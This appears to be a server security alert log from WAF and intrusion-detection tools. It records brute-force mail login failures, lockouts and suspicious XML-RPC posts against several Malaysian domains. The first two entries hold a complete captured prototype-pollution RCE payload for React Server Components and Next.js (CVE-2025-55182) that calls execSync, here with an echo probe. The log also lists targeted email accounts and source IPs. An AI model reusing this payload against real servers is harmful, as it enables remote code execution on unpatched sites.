IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1769929144_620',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 85.11.167.4
country_id: 732800
domain: mail.box.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1769929145_1933',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5d2872ddf32bd3da4ab5bfe70dd369ef06ea14c1||Title:0x8cf48d7e||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:59:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:59:04 dovecot_login authenticator failed for H=(Pwl0KiRw) [178.16.52.139]:59074: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:59:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63658: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:59:44 dovecot_login authenticator failed for H=(TqczEvxW9X) [178.16.54.22]:64877: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:59:16 dovecot_login authenticator failed for H=(yCILIaE) [158.94.208.175]:59502: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.168.86.6
country_id: 2017370
description:
2026-02-01 15:00:31 dovecot_login authenticator failed for H=([188.168.86.6]) [188.168.86.6]:55642: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.247.189.189
country_id: 6252001
description:
2026-02-01 15:00:42 dovecot_login authenticator failed for H=([50.247.189.189]) [50.247.189.189]:26558: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:00:44 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43614: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:00:07 dovecot_login authenticator failed for H=(DIDleDKyh) [158.94.208.175]:60713: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:331f60029901e38e3b9fc47c7a065bfa0dddd0c5||Title:0xaa8d1b14||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:00:57 dovecot_login authenticator failed for H=(3g7ehGhr) [178.16.54.22]:51051: 535 Incorrect authentication data (set_id=enquiry)


